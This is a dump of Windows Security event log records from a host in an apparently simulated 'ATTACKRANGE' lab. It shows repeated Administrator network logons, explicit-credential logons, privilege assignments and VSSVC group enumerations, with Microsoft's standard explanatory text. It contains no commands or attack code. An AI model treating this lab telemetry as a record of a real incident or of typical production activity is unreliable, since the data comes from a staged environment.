This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:37:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245526
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB3E90

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:37:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245525
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB6FE3

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245524
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB6FE3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245523
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245522
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245521
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB6FB2

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:37:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245520
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB6FB2

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245519
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB6FB2
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245518
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245517
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245516
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB6DEA

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:37:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245515
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB5E24

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:37:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245514
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB4187

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:37:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245513
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB6DEA

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245512
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB6DEA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245511
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245510
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245549
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB9D23

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245548
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB9D23
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245547
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245546
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:38:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245554
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xC8628

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:38:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245553
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xC8628
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:38:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245552
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:38:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245551
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:38:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245550
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB9D23

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:38:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245566
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x6c
	Process Name:		C:\Windows\System32\VSSVC.exe
03/11/2021 11:38:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245565
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x6c
	Process Name:		C:\Windows\System32\VSSVC.exe
03/11/2021 11:38:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245564
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x6c
	Process Name:		C:\Windows\System32\VSSVC.exe
03/11/2021 11:38:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245563
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x6c
	Process Name:		C:\Windows\System32\VSSVC.exe
03/11/2021 11:38:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245562
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x6c
	Process Name:		C:\Windows\System32\VSSVC.exe
03/11/2021 11:38:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245561
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x6c
	Process Name:		C:\Windows\System32\VSSVC.exe
03/11/2021 11:38:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245560
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:38:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245559
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

